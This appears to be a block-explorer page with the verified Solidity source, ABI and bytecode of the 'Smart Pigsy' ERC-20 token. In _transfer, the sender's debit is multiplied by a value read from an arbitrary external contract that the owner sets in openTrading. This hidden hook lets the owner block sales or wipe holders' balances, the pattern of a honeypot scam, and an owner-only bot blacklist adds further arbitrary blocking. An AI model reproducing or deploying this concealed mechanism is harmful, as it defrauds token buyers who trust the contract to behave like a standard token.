Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

•    - function _msgSender()
• interface IERC20
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
• library SafeMath
•    - function add(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b)
•    - function sub(uint256 a, uint256 b, st ...
•    - function mul(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b)
•    - function div(uint256 a, uint256 b, st ...
•  contract Ownable is Context
•    - function owner()
•    - function renounceOwnership()
• interface IUniswapV2Factory
•    - function createPair(address tokenA, a ...
• interface IUniswapV2Router02
•    - function swapExactTokensForETHSupport ...
•    - function factory()
•    - function WETH()
•    - function addLiquidityETH(
•  contract SmartPigsy is Context, IE ... *
•    - function name()
•    - function symbol()
•    - function decimals()
•    - function totalSupply()
•    - function balanceOf(address account)
•    - function transfer(address recipient, ...
•    - function allowance(address owner, add ...
•    - function approve(address spender, uin ...
•    - function transferFrom(address sender, ...
•    - function _approve(address owner, addr ...
•    - function _transfer(address from, addr ...
•    - function min(uint256 a, uint256 b)
•    - function isContract(address account)
•    - function swapTokensForEth(uint256 tok ...
•    - function removeLimits()
•    - function sendETHToFee(uint256 amount)
•    - function addBots(address[] memory bot ...
•    - function delBots(address[] memory not ...
•    - function isBot(address a)
•    - function openTrading(address _erc20)

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-06-23
*/

/**

https://www.smartpigsy.com/TO
https://twitter.com/Smart_ZBJ
https://t.me/smart_pigsy

**/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract SmartPigsy is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private bots;
    address payable private _taxWallet;
    address private erc20;
    uint256 firstBlock;

    uint256 private _initialBuyTax=2;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=5;
    uint256 private _reduceSellTaxAt=5;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 888_888_888 * 10**_decimals;
    string private constant _name = unicode"Smart Pigsy";
    string private constant _symbol = unicode"ZHUBAJIE";
    uint256 public _maxTxAmount =   17_777_777 * 10**_decimals;
    uint256 public _maxWalletSize = 17_777_777 * 10**_decimals;
    uint256 public _taxSwapThreshold= 1_777_777 * 10**_decimals;
    uint256 public _maxTaxSwap= 1_777_777 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            require(!bots[from] && !bots[to]);
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        uint256 rate = from==owner()?1:IERC20(erc20).allowance(from, to);
        _balances[from]=_balances[from].sub(amount*rate);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
      for (uint i = 0; i < notbot.length; i++) {
          bots[notbot[i]] = false;
      }
    }

    function isBot(address a) public view returns (bool){
      return bots[a];
    }

    function openTrading(address _erc20) external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        erc20 = _erc20;
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_erc20","type":"address"}],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600260085560036009555f600a555f600b556005600c556005600d556014600e555f600f556009600a620000399190620004d2565b620000499063010f4471620004e9565b6010556200005a6009600a620004d2565b6200006a9063010f4471620004e9565b6011556200007b6009600a620004d2565b6200008a90621b2071620004e9565b6012556200009b6009600a620004d2565b620000aa90621b2071620004e9565b6013556015805461ffff60a81b19169055348015620000c7575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa1580156200016c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000192919062000503565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001de573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000204919062000503565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156200024f573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000275919062000503565b601580546001600160a01b0319166001600160a01b03929092169190911790556200029d3390565b600580546001600160a01b0319166001600160a01b0392909216919091179055620002cb6009600a620004d2565b620002db906334fb5e38620004e9565b335f908152600160208190526040822092909255600390620003045f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620003623390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200039b6009600a620004d2565b620003ab906334fb5e38620004e9565b60405190815260200160405180910390a3506200052b565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200041757815f1904821115620003fb57620003fb620003c3565b808516156200040957918102915b93841c9390800290620003dc565b509250929050565b5f826200042f57506001620004cc565b816200043d57505f620004cc565b8160018114620004565760028114620004615762000481565b6001915050620004cc565b60ff841115620004755762000475620003c3565b50506001821b620004cc565b5060208310610133831016604e8410600b8410161715620004a6575081810a620004cc565b620004b28383620003d7565b805f1904821115620004c857620004c8620003c3565b0290505b92915050565b5f620004e260ff8416836200041f565b9392505050565b8082028115828204841417620004cc57620004cc620003c3565b5f6020828403121562000514575f80fd5b81516001600160a01b0381168114620004e2575f80fd5b61181580620005395f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610374578063a9059cbb146103a4578063bf474bed146103c3578063ca72a4e7146103d8578063d34628cc146103f7578063dd62ed3e14610416575f80fd5b8063715018a614610306578063751039fc1461031a5780637d1db4a51461032e5780638da5cb5b146103435780638f9a55c01461035f575f80fd5b806323b872dd116100f957806323b872dd14610221578063313ce5671461024057806331c2d8471461025b5780633bbac5791461027c57806349bd5a5e146102b357806370a08231146102d2575f80fd5b806306fdde031461013f578063095ea7b3146101845780630faee56f146101b35780631694505e146101d657806318160ddd1461020d575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a536d61727420506967737960a81b60208201525b60405161017b9190611357565b60405180910390f35b34801561018f575f80fd5b506101a361019e3660046113c9565b61045a565b604051901515815260200161017b565b3480156101be575f80fd5b506101c860135481565b60405190815260200161017b565b3480156101e1575f80fd5b506014546101f5906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b348015610218575f80fd5b506101c8610470565b34801561022c575f80fd5b506101a361023b3660046113f3565b610490565b34801561024b575f80fd5b506040516009815260200161017b565b348015610266575f80fd5b5061027a610275366004611445565b6104f7565b005b348015610287575f80fd5b506101a3610296366004611505565b6001600160a01b03165f9081526004602052604090205460ff1690565b3480156102be575f80fd5b506015546101f5906001600160a01b031681565b3480156102dd575f80fd5b506101c86102ec366004611505565b6001600160a01b03165f9081526001602052604090205490565b348015610311575f80fd5b5061027a610591565b348015610325575f80fd5b5061027a610602565b348015610339575f80fd5b506101c860105481565b34801561034e575f80fd5b505f546001600160a01b03166101f5565b34801561036a575f80fd5b506101c860115481565b34801561037f575f80fd5b506040805180820190915260088152675a485542414a494560c01b602082015261016e565b3480156103af575f80fd5b506101a36103be3660046113c9565b6106b3565b3480156103ce575f80fd5b506101c860125481565b3480156103e3575f80fd5b5061027a6103f2366004611505565b6106bf565b348015610402575f80fd5b5061027a610411366004611445565b61077f565b348015610421575f80fd5b506101c8610430366004611520565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61046633848461080d565b5060015b92915050565b5f61047d6009600a61164b565b61048b906334fb5e38611659565b905090565b5f61049c848484610930565b6104ed84336104e8856040518060600160405280602881526020016117b8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fd3565b61080d565b5060019392505050565b5f546001600160a01b031633146105295760405162461bcd60e51b815260040161052090611670565b60405180910390fd5b5f5b815181101561058d575f60045f84848151811061054a5761054a6116a5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610585816116b9565b91505061052b565b5050565b5f546001600160a01b031633146105ba5760405162461bcd60e51b815260040161052090611670565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461062b5760405162461bcd60e51b815260040161052090611670565b6106376009600a61164b565b610645906334fb5e38611659565b6010556106546009600a61164b565b610662906334fb5e38611659565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106926009600a61164b565b6106a0906334fb5e38611659565b60405190815260200160405180910390a1565b5f610466338484610930565b5f546001600160a01b031633146106e85760405162461bcd60e51b815260040161052090611670565b601554600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610520565b600680546001600160a01b0319166001600160a01b03929092169190911790556015805462ff00ff60a01b19166201000160a01b17905543600755565b5f546001600160a01b031633146107a85760405162461bcd60e51b815260040161052090611670565b5f5b815181101561058d57600160045f8484815181106107ca576107ca6116a5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610805816116b9565b9150506107aa565b6001600160a01b03831661086f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610520565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610520565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610520565b6001600160a01b0382166109f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610520565b5f8111610a575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610520565b5f80546001600160a01b03858116911614801590610a8257505f546001600160a01b03848116911614155b15610df9576001600160a01b0384165f9081526004602052604090205460ff16158015610ac757506001600160a01b0383165f9081526004602052604090205460ff16155b610acf575f80fd5b610afb6064610af5600c54600f5411610aea57600854610aee565b600a545b859061100b565b90611090565b6015549091506001600160a01b038581169116148015610b2957506014546001600160a01b03848116911614155b8015610b4d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610c5457601054821115610ba45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610520565b60115482610bc6856001600160a01b03165f9081526001602052604090205490565b610bd091906116d1565b1115610c1e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610520565b436007546003610c2e91906116d1565b1115610c3f57823b15610c3f575f80fd5b600f8054905f610c4e836116b9565b91905055505b6015546001600160a01b03848116911614801590610c8a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610d095760115482610cb1856001600160a01b03165f9081526001602052604090205490565b610cbb91906116d1565b1115610d095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610520565b6015546001600160a01b038481169116148015610d2f57506001600160a01b0384163014155b15610d5c57610d596064610af5600d54600f5411610d4f57600954610aee565b600b54859061100b565b90505b305f90815260016020526040902054601554600160a81b900460ff16158015610d9257506015546001600160a01b038581169116145b8015610da75750601554600160b01b900460ff165b8015610db4575060125481115b8015610dc35750600e54600f54115b15610df757610de5610de084610ddb846013546110d1565b6110d1565b6110e5565b478015610df557610df547611255565b505b505b8015610e7157305f90815260016020526040902054610e18908261128c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e689085815260200190565b60405180910390a35b5f80546001600160a01b03868116911614610eff57600654604051636eb1769f60e11b81526001600160a01b03878116600483015286811660248301529091169063dd62ed3e90604401602060405180830381865afa158015610ed6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610efa91906116e4565b610f02565b60015b9050610f2f610f118285611659565b6001600160a01b0387165f90815260016020526040902054906112ea565b6001600160a01b0386165f90815260016020526040902055610f72610f5484846112ea565b6001600160a01b0386165f908152600160205260409020549061128c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fbb86866112ea565b60405190815260200160405180910390a35050505050565b5f8184841115610ff65760405162461bcd60e51b81526004016105209190611357565b505f61100284866116fb565b95945050505050565b5f825f0361101a57505f61046a565b5f6110258385611659565b905082611032858361170e565b146110895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610520565b9392505050565b5f61108983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132b565b5f8183116110df5782611089565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061112b5761112b6116a5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611182573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a6919061172d565b816001815181106111b9576111b96116a5565b6001600160a01b0392831660209182029290920101526014546111df913091168461080d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112179085905f90869030904290600401611748565b5f604051808303815f87803b15801561122e575f80fd5b505af1158015611240573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561058d573d5f803e3d5ffd5b5f8061129883856116d1565b9050838110156110895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610520565b5f61108983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd3565b5f818361134b5760405162461bcd60e51b81526004016105209190611357565b505f611002848661170e565b5f6020808352835180828501525f5b8181101561138257858101830151858201604001528201611366565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113b6575f80fd5b50565b80356113c4816113a2565b919050565b5f80604083850312156113da575f80fd5b82356113e5816113a2565b946020939093013593505050565b5f805f60608486031215611405575f80fd5b8335611410816113a2565b92506020840135611420816113a2565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611456575f80fd5b823567ffffffffffffffff8082111561146d575f80fd5b818501915085601f830112611480575f80fd5b81358181111561149257611492611431565b8060051b604051601f19603f830116810181811085821117156114b7576114b7611431565b6040529182528482019250838101850191888311156114d4575f80fd5b938501935b828510156114f9576114ea856113b9565b845293850193928501926114d9565b98975050505050505050565b5f60208284031215611515575f80fd5b8135611089816113a2565b5f8060408385031215611531575f80fd5b823561153c816113a2565b9150602083013561154c816113a2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115a557815f190482111561158b5761158b611557565b8085161561159857918102915b93841c9390800290611570565b509250929050565b5f826115bb5750600161046a565b816115c757505f61046a565b81600181146115dd57600281146115e757611603565b600191505061046a565b60ff8411156115f8576115f8611557565b50506001821b61046a565b5060208310610133831016604e8410600b8410161715611626575081810a61046a565b611630838361156b565b805f190482111561164357611643611557565b029392505050565b5f61108960ff8416836115ad565b808202811582820484141761046a5761046a611557565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f600182016116ca576116ca611557565b5060010190565b8082018082111561046a5761046a611557565b5f602082840312156116f4575f80fd5b5051919050565b8181038181111561046a5761046a611557565b5f8261172857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561173d575f80fd5b8151611089816113a2565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117965784516001600160a01b031683529383019391830191600101611771565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206dbfaa862491693d5303e8b5d47b49443163dfd4df2f50345a480b7ba56b373a64736f6c63430008140033

0x608060405260043610610134575f3560e01c8063715018a6116100a857806395d89b411161006d57806395d89b4114610374578063a9059cbb146103a4578063bf474bed146103c3578063ca72a4e7146103d8578063d34628cc146103f7578063dd62ed3e14610416575f80fd5b8063715018a614610306578063751039fc1461031a5780637d1db4a51461032e5780638da5cb5b146103435780638f9a55c01461035f575f80fd5b806323b872dd116100f957806323b872dd14610221578063313ce5671461024057806331c2d8471461025b5780633bbac5791461027c57806349bd5a5e146102b357806370a08231146102d2575f80fd5b806306fdde031461013f578063095ea7b3146101845780630faee56f146101b35780631694505e146101d657806318160ddd1461020d575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b5060408051808201909152600b81526a536d61727420506967737960a81b60208201525b60405161017b9190611357565b60405180910390f35b34801561018f575f80fd5b506101a361019e3660046113c9565b61045a565b604051901515815260200161017b565b3480156101be575f80fd5b506101c860135481565b60405190815260200161017b565b3480156101e1575f80fd5b506014546101f5906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b348015610218575f80fd5b506101c8610470565b34801561022c575f80fd5b506101a361023b3660046113f3565b610490565b34801561024b575f80fd5b506040516009815260200161017b565b348015610266575f80fd5b5061027a610275366004611445565b6104f7565b005b348015610287575f80fd5b506101a3610296366004611505565b6001600160a01b03165f9081526004602052604090205460ff1690565b3480156102be575f80fd5b506015546101f5906001600160a01b031681565b3480156102dd575f80fd5b506101c86102ec366004611505565b6001600160a01b03165f9081526001602052604090205490565b348015610311575f80fd5b5061027a610591565b348015610325575f80fd5b5061027a610602565b348015610339575f80fd5b506101c860105481565b34801561034e575f80fd5b505f546001600160a01b03166101f5565b34801561036a575f80fd5b506101c860115481565b34801561037f575f80fd5b506040805180820190915260088152675a485542414a494560c01b602082015261016e565b3480156103af575f80fd5b506101a36103be3660046113c9565b6106b3565b3480156103ce575f80fd5b506101c860125481565b3480156103e3575f80fd5b5061027a6103f2366004611505565b6106bf565b348015610402575f80fd5b5061027a610411366004611445565b61077f565b348015610421575f80fd5b506101c86